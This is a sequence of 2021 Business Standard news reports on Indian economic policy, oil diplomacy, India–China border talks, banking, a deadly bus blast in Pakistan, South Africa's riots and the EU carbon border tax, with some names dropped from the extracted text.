Addressing concerns related to protectionism, he said that a dose of carefully calibrated tariff protection for select sectors showing potential may be desirable and will not make the country protectionist. I do not think it is the policy of the government to become protectionist. But if incremental protection from a relatively moderate rate of tariff is necessary in certain sectors of the economy as a transitional measure for an infant industry that must grow up, then perhaps there is a case in some areas, he said at the India Policy Forum 2021 organised by the

He added that the idea is to ensure that critical supply chains are available locally and that India is not dependent on others for drugs, etc.

Somanathan also emphasised on the need to improve the fiscal position through reforms in farm, food and fertiliser subsidies in order to provide for funds in the health, education and infrastructure space.

At the present juncture we have two main kinds of buckets of reform. First, if we have to set our fiscal house in order and also provide for the many things that governments legitimately should provide. We will need to reform some of our subsidies -- farm subsidies, food subsidies, fertiliser subsidies. Some of them are intertwined with each other, said Somanathan. However, he pointed out that while subsidy reforms are very difficult to implement politically, they are easy administratively. It is easy to raise the price of fertilisers, but difficult to announce. On the other hand, reforms to improve efficiency in public expenditure like education, health and infra space are easy to announce, but difficult to implement administratively. No political party is opposed to these reforms, but they are very hard to cary out as they cant be implemented by the Centre alone and need the support of states, he said.

Somanathan added that while there is tension over Centre being expected to lead the reform process, he expects states to be able to be autonomous and make their own choices. People say that we must prioritise spending on health and education but money given to states must be untied. These objectives dont sit together, he said.

He also expressed hope that revenue collections from (GST) would see improvement going forward with key loopholes plugged and glitches fixed.

On concerns related to the GST Council, Somanathan said that the discussions at the Council are healthy and loud and that the system is not broken. You will hear noise, but the structure is healthy and will keep working, he said.
As climbed to a record high, India's new Petroleum Minister has started dialling oil-producing nations to impress upon them for a need to make prices affordable for consumers.

Puri, who last week called Energy Minister of Qatar, on Wednesday dialled his counterpart in the UAE, Sultan Ahmed Al Jaber.

"Conveyed my desire to work closely with UAE and other friendly countries to bring a sense of calm, predictability and realism among other suppliers in the energy market to make it more affordable for consumers," Puri tweeted.

The rebound in international from lows hit in May on the back of demand recovery has sent petrol and diesel rates to a record high in India.

Petrol has crossed the Rs-100-a-litre mark in more than one and a half dozen states and union territories, while diesel is being sold at over Rs 100 a litre in Rajasthan and Odisha.

"Had a warm courtesy call with HE Dr. Sultan Ahmed Al Jaber, UAE Minister of Industry and Advanced Technology and MD & Group CEO of @AdnocGroup. Discussed ways and means to invigorate the vibrant bilateral strategic energy partnership between India and UAE," Puri said.

India, which imports 85 per cent of its oil needs, has long pressed producers' cartel OPEC and its allies, called OPEC+, to phase out its production cuts and allow to come to reasonable levels.

The world's third-largest importer has many times called on OPEC to price oil at reasonable levels that support growth and stop propping up prices with its output cuts.

The UAE is a member of OPEC but has had a falling out with the grouping over production quotas at the meeting of the alliance earlier this month.

"We agreed to take the bilateral energy engagement to greater heights and also to diversify into new areas in the context of the fast-evolving global energy transition," Puri said in the talks with his UAE counterpart.

OPEC, Russia and several other allies in a production accord could not reach an agreement earlier this month on output quotas for August and possibly beyond. Expectations were that the alliance may agree to raise production by 500,000 to 700,000 barrels per day but the decision was postponed as the UAE differed on the baseline for such output increase.

Puri, who took over the reins of the petroleum ministry on July 8, on last Saturday called Qatar's Minister of State for Energy Affairs Saad Sherida Al Kaabi to discuss further ways of strengthening mutual cooperation in the hydrocarbon sector.

"Discussed ways of further strengthening mutual cooperation between our two countries in the hydrocarbon sector during a warm courtesy call with Qatar's Minister of State for Energy Affairs who is also the President & CEO of @qatarpetroleum HE Saad Sherida Al-Kaabi," Puri had tweeted on July 10.

Puri, a former diplomat, is widely expected to smoothen flared tensions with oil-producing nations in general and Saudi Arabia in particular.

In March, Puri's predecessor Dharmendra Pradhan and Saudi Arabia's Energy Minister Prince Abdulaziz bin Salman had an unpleasant exchange over

The Saudi Arabia minister responded to Pradhan's repeated pleas for a reasonable price, by saying India should tap into its reserves of crude that it bought cheaply in 2020 during the market crash.

Days later, Pradhan termed the statement an "undiplomatic response from a friendly nation".

Since then, the petroleum ministry has asked refiners to look at sources outside of the Middle East for buying oil.

India is the world's third-largest consumer of crude and OPEC nations such as Saudi Arabia have traditionally been its principal oil source. But OPEC and OPEC+ ignoring its call for easing of supply curbs, had led India to tap newer sources to diversify its crude oil imports.

As a result, OPEC's share in India's oil imports has dropped to about 60 per cent in May from 74 per cent in the previous month.

The two sides have somewhat patched up relations, with Saudi Arabia and the UAE supplying critical medicine, oxygen and equipment to help India battle its second wave of coronavirus infections.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
External Affairs Minister (EAM) on Wednesday concluded the one-hour-long bilateral meeting with his Chinese counterpart on the sidelines of (SCO) in Dushanbe, where he conveyed that that unilateral change of status quo of the border area is not acceptable to India.

This meeting was the second face-to-face talk between Jaishankar and since the stand-offs started in early May last year at the Line of Actual Control (LAC). The discussions between the two leaders focused on the outstanding issues along the LAC in the Western Sector.

"Concluded a one-hour bilateral meeting with State Councilor and FM of on the sidelines of Dushanbe SCO Foreign Ministers Meeting. Discussions focused on the outstanding issues along the LAC in the Western Sector," Jaishankar tweeted.

During the meeting, the EAM highlighted that unilateral change of status quo is not acceptable to India and full restoration and maintenance of peace and tranquility in border areas is essential for development of bilateral ties.

"Highlighted that unilateral change of status quo is not acceptable. Full restoration and maintenance of peace and tranquillity in border areas is essential for development of our ties. Agreed on convening an early meeting of the Senior Military Commanders," he added.

The last time, the two leaders had met in Moscow in September last year during the Foreign Ministers' meet of the SCO countries and discussed standoff at the LAC in Ladakh, which had seen violent clashes.



Concluded a one-hour bilateral meeting with State Councilor and FM Wang Yi of on the sidelines of Dushanbe SCO Foreign Ministers Meeting.



Discussions focused on the outstanding issues along the LAC in the Western Sector. pic.twitter.com/YWJWatUErI  Dr. S. Jaishankar (@DrSJaishankar) July 14, 2021

In June 2020, Jaishankar had conveyed a clear and unequivocal tough message to Wang Yi that what happened in Galwan was a "pre-mediated and planned action that was directly responsible for the resulting violence and casualties."

Jaishankar had conveyed the protest of the Indian government in the strongest terms on the violent face-off in Galway Valley on June 15, saying it reflected an intent to change the facts on the ground in violation of all our agreements to not change the status quo.

Twenty Indian Army personnel, including a Colonel, were killed in the violent face-off. Indian intercepts have revealed that the Chinese side suffered 43 casualties including dead and seriously injured in the violent clash. The commanding officer of the Chinese Unit is among those killed.In February, India and began disengagement of the frontline troops in the Pangong Lake area.

The two sides held several rounds of Corps Commander level meetings during which they "positively appraised" the smooth completion of disengagement of frontline troops in the Pangong Lake area and agreed to continue their communication and push for a mutually acceptable resolution of the remaining issues.
Analysts expect strong deal momentum to drive Infosys' performance in the June 2021 quarter; allots shares worth Rs 4,195 crore to anchor investors ahead of the companys IPO. Top at this hour.

allots shares worth Rs 4,195 cr

Online food delivery company on Tuesday allotted shares worth Rs 4,195 crore to anchor investors. The firm allotted a total of 552.17 million shares to close to 200 foreign as well as domestic investors at Rs 76 apiece. Some of the investors that received anchor allotment include New World Fund, Tiger Global, and BlackRock.

to announce Q1 results

Analysts expect strong deal momentum, seasonality factor and traction in cloud to drive Infosys' performance in the June 2021 quarter of financial year 2021-22 (Q1FY22). They peg bottomline growth at 27-30 per cent and topline (in rupee terms) at 16-17 per cent, yearly.

SAT questions Sebi's intervention

The Securities Appellate Tribunal (SAT) in a hearing on Tuesday said market watchdog Securities and Exchange Board of India (Sebi) tried to pre-empt the outcome of PNB Housing Finances extraordinary general meeting (EGM) that was called to decide on the allotment of preferential shares to the Carlyle Group and other investors.

India inspects Carlsberg accounts

Indias government is inspecting the account books of the local unit of Carlsberg A/S, according to people with knowledge of the matter, following allegations of potential fraud. The Registrar of Companies has issued a notice to Carlsberg India seeking its response

Country needs forex reserves buffer: Raghuram Rajan

India needs foreign exchange buffer reserves to insulate itself from exchange rate volatility as we have "no friends" for swap lines and Japan was the only country that helped during the taper tantrum in 2013, former RBI Governor Raghuram Rajan on Tuesday.
Kerala SSLC result 2021: Kerala SSLC result has been declared and 99.47 per cent students have passed. The Secondary School Leaving Certificate or Kerala SSLC exam result has been announced on official websites, keralapareeksahabhavan.in, sslcexam.kerala.gov.in, results.kite.kerala.gov.in, and results.kerala.nic.in. Kerala Pareeksha Bhavan conducted the 10th board exams from April 8 to 28, even as the country battled with the second wave of the coronavirus . The wait of nearly 400,000 students is now over.

How to check Kerala SSLC 2021 result

Step 1: On the official website of Kerala Pareeksha Bhavan opt for the link that reads SSLC result

Step 2: Enter details such as roll number and date of birth to log in

Step 3: The Kerala SSLC result 2021 will be displayed on the screen

The Kerala SSLC result is based on a 9-point grading system with the highest grade value being 9 and the least being 1. The grading is done on a 9 point scale: A+, A, B+, B, C+, C, D+, D, E. Students who obtain grade D or below have to appear for the SAY or Save A Year exam.

Kerala SSLC Exam Grades

A+: 90 - Up to 100% (Outstanding)

A: 80 - Up to 89% (Excellent)

B+: 70- Up to 79% (Very Good)

B: 60 - Up to 69% (Good)

C+: 50 - Up to 59% (Above Average)

C: 40 - Up to 49% (Average)

D+: 30 - Up to 39% (Marginal)

D: 20 - Up to 29% (Need Improvement)

E: Below 20% (Need Improvement)
Large and mid-sized Indian corporates relied upon the big lenders in the Indian banking space for their funding needs during the pandemic, thereby accelerating the consolidation in the corporate banking space.

In a report published by "Coalition Greenwich", a part of rating agency Crisil, large and mid-sized Indian copanies both said the countrys largest lender State Bank of India (SBI) has done the best job in helping them mitigate the impact of the pandemic. And among private sector players, and provided funding support to them, Citi and were their top funding sources among foreign

The fact that Indias biggest were able to quickly marshal the financial, operational, and technological capabilities required to provide that assistance is strengthening their relationships with Indian companies and widening the divide between themselves and their competitors, the report noted.





ALSO READ: HDFC Bank considers its first offshore bond to boost its buffers

The companies surveyed said the digital infrastructure provided by Indian banks, faster turnaround time, and faster loan and account documentation have helped them during the crisis period.

According to the report, in the large corporate banking segment, SBI, HDFC Bank, and ICICI Bank emerged as the 2021 Greenwich Share Leaders, while was the 2021 Greenwich Quality Leader. Among foreign banks, JP Morgan emerged as the quality leader while Citi, Standard Chartered, and were share leaders. Similarly, in the middle market segment, SBI, HDFC Bank, and ICICI Bank emerged as the share leaders while and were quality leaders.

Interestingly, the corporate banking space had begun consolidating even prior to the pandemic, driven by the Reserve Bank of Indias decisive steps. Covid-19 has only accelerated the process.

According to the report, in 2016, around 17 per cent of large and mid-sized companies were using Axis, and ICICI Bank as their lending partners. Come 2020, this share went up to 25 per cent, with these large private growing at a rate of 12-13 per cent year-on-year. On the other hand, SBI defended its position in the years leading up to the pandemic and in 2020. it pressed the accelerator and expanded its footprint. Now, nearly a third of Indian corporates cite SBI as one of their top 7-10 corporate banks, and 30 per cent named SBI as a cash management provider, the report said.

Consolidation in the public sector banking space allowed SBI to shore up its business in the corporate banking market, the report says. That exercise also created opportunities for both SBI and private-sector banks to pick up business from clients of smaller public-sector providers engaged in the disruptive consolidation process.



ALSO READ: Rising fuel prices eating into non-discretionary, health spends: SBI report

Also, the new directives by the RBI on opening and operating corporate current accounts meant that SBI and other large private sector banks are winning corporate relationships at the expense of foreign banks.

The new directive has put foreign banks under considerable pressure. Even before the circular, foreign banks were finding it more and more difficult to compete with Indias domestic private-sector banks, which are rapidly upgrading capabilities. In addition, their employees are increasingly able to go toe-to-toe with their foreign counterparts, due in large part to the training and experience they received working for foreign banks earlier in their careers, the report added.

While large firms, except for the initial months of the pandemic, were not hard-pressed for funds because most were deleveraging while some tapped the capital market, it was the smaller ones that were more vulnerable to economic shocks due to their size, which got much-needed relief from the various regulatory initiatives that banks extended to them at RBI's behest.
The reverse merger of Bank (SFB) and with their respective holding companies will bring down promoter shareholding to zero, thereby helping the entities comply with the (RBI) guidelines and reap rich rewards for the shareholders of the holding entities.

Predictably, the share prices of Ujjivan Financial Services, and Equitas Holdings jumped 20 per cent each after the two entities received the nod to reverse merge with their small bank entities. When the central bank issued guidelines on SFBs, it had said the holding company structure could be allowed to merge back with the bank after five years, subject to regulatory approvals.

In the interim, the holding company discounts on both the firms reached more than 55 per cent in the market, as shareholders were not sure if the RBI would eventually allow a reverse merger.

Getting a regulatory approval cleared all doubts.

The reverse merger is beneficial for the shareholders of the holding company because they will now get shares of the bank on a particular share swap ratio, which is yet to be decided, said Samit Ghosh, chairman of Ujjivan Financial Services, and founder MD & CEO of Ujjivan SFB.

The holding company structure, in theory, is a necessity for universal that offer full services to their clients. The Non-Operative Financial Holding Company (NOFHC) structure basically says if a promoter entity has financial businesses other than the bank, for example, if the promoters also run an insurance company, or a mutual fund company, then all the businesses must operate under a common umbrella, but as separate silos in order to to protect the bank. Industrial groups are not yet allowed banking licences to start with.

However, for a firm that only has a bank to run, the NOFHC structure is not required.

"The guidelines do not require setting up of a holding company to set up the SFB. If there is an intermediate company, it should be an NOFHC and conform to all requirements relating to NOFHC stipulated in our guidelines on licensing of new in the private sector dated February 22, 2013, the RBI had clarified in a frequently asked questions (FAQ) section on its website on January 1, 2015.

The NOFHC, it was clarified in the FAQ, has to be the promoter, and non-promoters were not allowed in the NOFHC.

In case of Ujjivan SFB, promoter shareholding, or the shareholding by the NOFHC was 83.32 per cent as in June 2021. For Equitas, the NOFHC held 81.98 per cent of the bank in March this year.

RBI rules stipulate that the SFB promoters must bring down their shareholding to 40 per cent in five years.

The reverse merger, in this case, brings down the promoter shareholding to zero as post merger, the holding companies would cease to exist.

The holding company was trading in the market at a discount of 40-50 per cent, as people were not certain if the holding company could reverse merge with the bank after five years. Now it has been approved, and so the shareholders of the holding company will now be direct shareholders of the bank, Ghosh said.

Since the holding company will not exist any more, the entire board of the holding company will have to be disbanded. However, few members of the holding board can join the bank board. Ghosh, currently the chairman of the holding company, will have to cut his association with the microfinance institution-turned bank he floated.

I will be free of all my burden after the merger, said Ghosh. However, if the shareholders want, Ghosh can still get his foothold in the bank.

Ghosh turned 70 in November 2019, and became ineligible to continue as the MD & CEO in accordance with rules. However, he can be appointed as the bank's director again, as the age limit is 75 for such positions.

The shares of Ujjivan Financial Services were down 3 per cent, and Equitas Holding shares were up 0.31 per cent on Wednesday. But they were still higher than their Fridays closing price - Rs 203.50 and Rs 115.50 a share. At 1.30 pm, Ujjivan Financial and Equitas holding was trading at Rs 236.30, and Rs 128.95 per share on the NSE.

Ujjivan SFB and were trading at Rs 30.95, and Rs 67.25 a share on NSE.
A bus carrying Chinese and Pakistani construction workers on a slippery mountainous road in northwest fell into a ravine Wednesday, killing at least 13 people, including nine Chinese nationals, officials said.

At least 36 people were also injured in the apparent accident in the Kohistan district of Khyber Pakhtunkhwa province, said Arif Javed, a deputy district commissioner.

The incident happened on a wet road following an overnight rain but Pakistani officials were still investigating and the Chinese Embassy said in a statement the bus was attacked.

Chinese engineers and construction workers are helping build a dam in Kohistan. Javed said the Pakistani and Chinese construction workers were on their way to the project site when the accident happened.

Asim Abbasi, an assistant commissioner in Kohistan, said authorities believe the incident was an accident but were investigating whether there was some type of explosion in the bus. He said a gas cylinder may have exploded and it was possible that explosive material was in the vehicle. Explosives are often used by engineers in construction projects.

So far, we are not sure whether there was a blast in the bus but the bus fell into a ravine and it seems it was an accident," he said.

The Chinese Embassy in a statement called the incident an attack.

Recently, our workers at a business on a certain project in were attacked and have suffered deaths and injuries, the statement said. We have notified Chinese citizens in Pakistan to avoid venturing outside unless required by work or business and pay especial care to their safety.

In Beijing, Foreign Ministry spokesperson Zhao Lijian said China was shocked by and condemns the bomb attack in Pakistan's Khyber Pakhtunkhwa province.

We mourn over the Chinese and Pakistani personnel killed in the attack and express sympathies to bereaved families and the wounded, Zhao said at a daily news briefing.

We have demanded the Pakistani side get to the bottom of the incident, arrest and strictly punish the assailants as soon as possible, and earnestly protect the safety of Chinese personnel, institutions and projects in Pakistan, Zhao said.

Kamran Bangash, a government spokesman for Khyber Pakhtunkhwa province, asked the media not to speculate because officers were still investigating. He said helicopters were transporting critically injured persons to hospitals for treatment.

Bangash said investigators would soon brief the media about the cause of the incident. His comments came after local media quoted unnamed sources to report that there was an explosion in the bus carrying Chinese and Pakistani construction workers and security officials.

Road accidents are common in Pakistan, where motorists largely disregard traffic rules and safety standards on damaged roads, particularly in the mountainous terrain in the north.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
Nine Chinese engineers were among 13 people killed on Wednesday when a bus carrying construction workers in northwest Pakistan's mountainous region was "attacked", according to officials and eyewitnesses.

The incident took place in Dasu area of Upper Kohistan district of Khyber Pakhtunkhwa province where Chinese engineers and construction workers are helping build a dam which is part of the USD 60 billion China- Economic Corridor (CPEC), officials said.

At least 13 people, including nine Chinese nationals and two Frontier Corps soldiers, died when the bus carrying Chinese engineers and workers to the site of the under construction Dassu Dam exploded, Deputy Commissioner Upper Kohistan Muhammad Arif said in his initial statement.

The bus fell into a deep Ravine after the explosion, the official said.

The injured were admitted to nearby hospitals.

Speaking in the National Assembly, Adviser to the Prime Minister on Parliamentary Affairs Babar Awan called it a "cowardly attack" and said it would "not divert attention from the special initiatives between and its neighbours."



Awan said he would ask Interior Minister Sheikh Rashid Ahmed to offer a briefing on the country's security situation and to keep this House in the loop about the occurrence.

An eyewitness claimed that there was a loud noise and the bus bounced in the air and fell down, BBC Urdu service reported.

Quoting another eyewitness, it said the bus looked like flying in the air after the blast. Few seconds later, the bus fell on the ground with a loud thud.

Local people rushed to the spot where the injured were screaming, he said.

However, the Water and Power Development Authority (Wapda), which is responsible for dam construction, said in a statement that it was an "accident".

Officials said more details would be provided after the investigation.

"The bus plunged into a deep ravine after the blast and caused heavy losses. One and one soldier are missing. The rescue operation has been launched, a senior government official said.

Special Assistant to KP Chief Minister Kamran Khan Bangash said that a high level delegation has left for Upper Kohistan to ascertain the facts.

"The media is advised to avoid speculating on the matter, he said.

Bangash said that a large number of security officials were deployed to protect Chinese nationals. Those who are in critical condition are being shifted via helicopter, he said. A large number of Rescue 1122 ambulances and officials have reached the spot, he added.

Pakistan's Foreign Office in Islamabad said that the bus carrying Chinese workers plunged into a ravine after a mechanical failure resulting in leakage of gas that caused a blast.

"According to preliminary reports, nine Chinese nationals and three Pakistanis lost their lives, it said, adding that the Chinese workers and accompanying Pakistani staff were proceeding to their work place for an ongoing project.

FO said that further investigations are underway, while the local authorities are providing all possible assistance to the injured.

The Ministry of Foreign Affairs is closely in contact with the Chinese Embassy for coordination and facilitation, it said.

Pakistan and China are close friends and iron-brothers and Pakistan attaches great importance to safety and security of Chinese nationals, projects and institutions in the country, it added.

In Beijing, China condemned the "bomb attack" on the bus near the Dasu hydropower plant and called on the Pakistan government to give severe punishment to the perpetrators behind it.

Asked for details of the casualties and China's reaction to the incident at a media briefing in Beijing, Chinese Foreign Ministry spokesman Zhao Lijian said China expresses its condemnation of the "bomb attack" in Pakistan resulting in the casualties of the Chinese personnel.

He, however, did not provide any official figures of casualties.

"China extends its condolences to those who died in the attack and sympathy for their families and the injured, he said.

"Security forces in Pakistan have taken actions to control the situation, properly transfer and save the injured," he said.

"The Chinese side requests the Pakistan side to look into the truth, hold the perpetrators accountable and give them severe punishment, so as to protect the security of Chinese personnel, institutions and projects," he said.

Thousands of Chinese personnel have been deployed in Pakistan to work on a host of projects being carried out under the aegis of the CPEC.
In a significant policy statement on the which is making big gains in its offensive in Afghanistan, has asked it to make a clean break from all terrorist forces, especially the al-Qaida-backed Muslim militant group ETIM fighting for the volatile Xinjiang province's independence.

In his media briefing at Dushanbe, Chinese Foreign Minister Wang Yi stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in

The Taliban, as a major military force in Afghanistan, should realise the responsibilities it bears for the nation, make a "clean break" with all terrorist forces and return to the mainstream of Afghan politics, Wang said on Tuesday.

He also praised the government -- which often accuses Beijing's all-weather ally Pakistan of harbouring the militants -- saying that the government headed by President Ashraf Ghani has done a lot of work for national unity, social stability and improvement of people's livelihood, which should be justly evaluated.

Wang made the remarks during a joint press conference with Tajik Foreign Minister Sirojiddin Muhriddin following their talks in Dushanbe, official media here reported on Wednesday.

His comments came ahead of the Foreign Ministers of the Shanghai Cooperation Organisation (SCO) meeting in Dushanbe to be attended by Wang besides External Affairs Minister S Jaishankar and Pakistan Foreign Minister Shah Mahmood Qureshi.

Significantly, Foreign Minister Mohammad Hanif Atmar has been invited to take part in the SCO contact group which will meet soon after the Foreign Ministers meeting.

The eight member SCO grouping consists of China, Russia, Kazakhstan, Kyrgyzstan, Tajikistan, Uzbekistan, India and Pakistan. Afghanistan is an observer of the SCO group.

Wang said that post the US troop withdrawal, expects Afghanistan to establish a broadly inclusive political arrangement, pursue a solid Muslim policy, resolutely combat all terrorism and extremist ideologies, and be committed to friendly relations with all neighbouring countries.

Observers say Wang's comments on the indicate that is not buying the Taliban's recent overtures stating that it considers Beijing as a "friend".

China is concerned that hundreds of East Turkistan Islamic Movement (ETIM) fighters, reportedly grouping in Afghanistan, mostly Badakhshan province sharing a 90-km long border with Xinjiang through the narrow Wakhan corridor, will sneak into Xinjiang or through the Pakistan-occupied Kashmir (POK) and the Central Asia states.

The ETIM is trying to carry out an insurgency in Muslim dominated Xinjiang province. Xinjiang also shares borders with PoK and Tajikistan.

China's massive crackdown in Xinjiang, observers say, has exasperated the resentment among native Muslims in the province and prompted the US, the EU and human rights organisations to accuse Beijing of committing genocide.

Also, the 12th report of the Analytical Support and Sanctions Monitoring Team of the United Nations last month confirmed the presence of ETIM militants in Afghanistan.

The ETIM consists of several hundred members, located primarily in Badakhshan and neighbouring Afghan provinces, the report submitted to the UN Security Council said.

Amidst the Taliban gains, China evacuated 210 of its nationals from Afghanistan last week.

Playing down China's concerns, Taliban spokesman Suhail Shaheen said his group sees China as a friend of Afghanistan and is hoping to talk to Beijing about investing in reconstruction work as soon as possible.

Shaheen also said that the Taliban would no longer allow China's Uyghur separatist fighters from Xinjiang, some of whom had previously sought refuge in Afghanistan, to enter the country.

The Taliban would also prevent al-Qaeda or any other terrorist group from operating there, he said.

We have been to China many times and we have good relations with them, Shaheen told Hong Kong-based South China Morning Post on July 10, recalling the meetings hosted by China in the past.

China is a friendly country that we welcome for reconstruction and developing Afghanistan, he said, adding that "If (the Chinese) have investments, of course, we ensure their safety".

Commenting on the Taliban's overtures to Beijing, Andrew Small, a senior transatlantic fellow with the German Marsh Fund said: whatever benign language the Taliban use, China remains highly concerned about the security situation there.

He said that China's biggest concern in its dealings with the Taliban had always been whether it was sheltering Uyghur separatists and whatever benign language the Taliban use, China remains highly concerned about the security situation there.

In his media briefing at Dushanbe, Wang stressed that further spread of the war in Afghanistan, especially an all-out civil war, should be avoided and pitched for restarting of intra-Afghan negotiations to realise political reconciliation and prevention of all kinds of terrorist forces from gaining ground in Afghanistan.

Afghanistan is an independent and sovereign country and history shows that any coercive intervention in Afghanistan is bound to fail, he said, indicating China's unwillingness to commit its military to the war-torn country to fill in the void left by the US and NATO troops.

Considering the security risks, China is goading Pakistan, which shares close ties with the Taliban, to help stabilise Afghanistan amidst the Taliban offensive.

It is yet to be seen how Wang's praise of the Afghan government for doing good work will be received in Pakistan as it shares frosty ties with the Ashraf Ghani government over its allegation of harbouring the Taliban militants.

Early this month, Wang who has stepped up trilateral diplomacy with Pakistan and Afghanistan persuading them to resolve their differences, asked Islamabad to step up cooperation to contain security risks in Afghanistan in the light of the latest offensive by the Taliban following the withdrawal of the US.

"(China and Pakistan) need to defend regional peace together. Problems in Afghanistan are practical challenges that China and Pakistan both face," especially the expansion of both and regional terrorism, Wang said on July 8 while addressing a meeting of the 70th anniversary of diplomatic relations with Pakistan here.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
By David Henry and Anirban Sen

(Reuters) - Inc comfortably beat market estimates for second-quarter profit on Wednesday as the economic recovery allowed the bank to release loan loss reserves and offset a plunge in revenue from lower trading and credit card lending.

For the quarter ended June 30, net income jumped to $6.19 billion, or $2.85 per share, from $1.06 billion, or 38 cents per share, a year earlier. Analysts on average had expected a profit of $1.96 per share, according to Refinitiv IBES data.

The bank's profits were buoyed by its decision to take down $2.4 billion of loss reserves it had built during the pandemic for expected losses that have not materialized. A year ago, it had added $5.9 billion to its loss reserves.

Revenue plunged 12%, loans were down 3% and expenses rose 7%.

Jane Fraser, who became CEO earlier this year, is trying to turn around Citigroup, which has been crippled for years by poor risk and control systems.

The 7% rise in expenses was led by spending to improve those systems to comply with demands from regulators. The size of the increase suggested that the bank might miss its estimate from April that expenses for the full-year would increase only 2% to 3%.

Expenses are a particular concern for investors as the bank has been unable to say how much money and time it will take to meet the requirements of regulators and fix its systems.

The expenses are part of what Fraser has called the "transformation" of and include technology improvements that she expects will ultimately bring down costs.

Revenue from fixed income trading, a strong suit for Citigroup, slumped 43% from a year earlier when trading in global financial markets soared to record levels on volatility in the first months of the COVID-19 pandemic.

On Tuesday, both JPMorgan Chase and Goldman Sachs reported big declines in bond trading revenue.

(Reporting by Anirban Sen in Bengaluru and David Henry in New York; Editing by Sriraj Kalluvila)

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The death toll climbed to 72 from rioting in on Tuesday, with many people trampled to death during looting at stores, as police and the military fired stun grenades and rubber bullets to try to halt the unrest set off by the imprisonment last week of former President

More than 1,200 people have been arrested in the lawlessness that has raged in poor areas of two provinces, where a community radio station was ransacked and forced off the air Tuesday and some COVID-19 vaccination centres were closed, disrupting urgently needed inoculations.

Many of the deaths in Gauteng and KwaZulu-Natal provinces occurred in chaotic stampedes as thousands of people stole food, electric appliances, liquor and clothing from stores, police Maj. Gen. Mathapelo Peters said in a statement Tuesday night.

He said 27 deaths were being investigated in KwaZulu-Natal province and 45 in Gauteng province. In addition to the people crushed, he said police were investigating deaths caused by explosions when people tried to break into ATM machines, as well as other fatalities caused by shootings.

The violence broke out after Zuma began serving a 15-month sentence for contempt of court on Thursday. He had refused to comply with a court order to testify at a state-backed inquiry investigating allegations of corruption while he was president from 2009 to 2018.

The unrest spiraled into a spree of looting in township areas of the two provinces, although it has not spread to South Africa's other seven provinces, where police are on alert.

"The criminal element has hijacked this situation, said Premier David Makhura of Gauteng province, which includes Johannesburg.

More than half of South Africa's 60 million people are living in poverty, with an unemployment rate of 32%, according to official statistics. The pandemic, with job layoffs and an economic downturn, has increased the hunger and desperation that helped propel the protests triggered by Zuma's arrest into wider rioting.

We understand that those unemployed have inadequate food. We understand that the situation has been made worse by the pandemic, an emotional Makhura said on the state South African Broadcasting Corp.

But this looting is undermining our businesses here (in Soweto). It is undermining our economy, our community. It is undermining everything.

As he spoke, the broadcast showed police trying to bring order to the Ndofaya shopping mall, where 10 people had been crushed to death in a looting stampede. Gunshots could be heard in the background.

Makhura appealed for leaders of political, religious and community organisations to urge people to halt the looting.

The deployment of 2,500 soldiers to support the South African police has so far failed to stop the rampant looting, although arrests were being made in some areas in Johannesburg, including Vosloorus in the eastern part of the city.

At least 1,234 people were arrested in Gauteng and KwaZulu-Natal, authorities said, but the situation was far from under control.

Looting continued Tuesday in shopping malls in Johannesburg township areas, including Jabulani Mall and Dobsonville Mall in Soweto. There also were reports of looting in KwaZulu-Natal.

In Daveyton township, east of Johannesburg, more than 100 people, including women, children and older citizens, were arrested for stealing from shops inside the Mayfair Square mall.

Some of those arrested were bleeding from shattered glass on floors slippery from spilled milk, liquor, yogurt and cleaning liquids that had been stolen from shops.

Running battles carried on as security and the police fired stun grenades and rubber bullets to push back rioters, who were entering the shops by going through delivery entrances, emergency exits and climbing on roofs.

By late afternoon the police managed to secure the mall, but rioters remained outside, throwing stones at the police and shouting for the release of those arrested.

In Soweto, the Chris Hani Baragwanath hospital reported that the number of injured people coming to the emergency ward had tripled from the daily average.

The unrest forced the government to close some COVID-19 vaccination centers disrupting urgently needed efforts to inoculate thousands of those aged 50 and older per day.

In Johannesburg's Alexandra township the Pan Africa shopping centre continued to be ransacked and was set on fire on Tuesday.

The Alex FM radio station which has served the Alexandra community for 27 years was broken into at 2 am Tuesday and thieves stole equipment worth 5 million rand ($350,000), forcing the station off the air, station manager Takalane Nemangowe said.

"Our on-air presenter and security guards got out safely through the back door," Nemangowe told The Associated Press. But the looters cleaned out our offices. They took all our broadcasting equipment, computers, laptops, microphones, everything.

Authorities have repeatedly warned people, including Zuma supporters and relatives, against using social media to encourage the riots. Police minister Bheki Cele said Tuesday that about a dozen people have been identified as having instigated the riots.

The Constitutional Court, the country's highest court, heard Zuma's application to have his sentence rescinded on Monday. Zuma's lawyer argued that the top court made errors when sentencing Zuma to prison. After 10 hours of testimony, the judges said they would announce their decision at a later date.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
By Kate Abnett and Susanna Twidale

BRUSSELS/LONDON (Reuters) -The European Commission on Wednesday put forward plans for the world's first "carbon border tax" on imports of carbon-intensive goods, including steel, cement, fertilisers and aluminium, as part of a programme to meet its new climate target.

The border levy should be phased in from 2026, the Commission said. The measure is designed to protect European industries from competitors abroad not subject to the same carbon levies.

A transitional phase from 2023-25 will see importers monitoring and reporting their emissions, a Commission document said.

Under the proposal, importers will be required to buy digital certificates representing the tonnage of carbon dioxide embedded in their imported goods.

Importers may be able to claim a reduction in carbon border costs if the goods have already been subject to a carbon levy in their country of manufacture.

Some 64 carbon pricing instruments such as trading schemes or taxes are in use around the world, in places including China and some U.S. states, not least California. But they cover only 21% of global greenhouse gas emissions, a May report by the World Bank said.

Prices within these schemes also vary greatly.

The Commission has said the carbon border measure will comply with World Trade Organization rules, but the idea has received a hostile reception from trading partners including China and Russia.

(Reporting By Susanna Twidale; Editing by Kevin Liffey)

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on Tuesday (local time) called on all its citizens in to leave the country as the pressed ahead with a major offensive amid the withdrawal of foreign troops.

"The government will set up a special flight on the morning of July 17th, departing from Kabul, in order to allow the return to of the entire French community," the French Embassy in Kabul announced in a statement, adding that no payment would be necessary to board the plane.

"The Embassy of formally recommends to all French citizens to take this special flight or to leave the country immediately by their own means", the statement added.

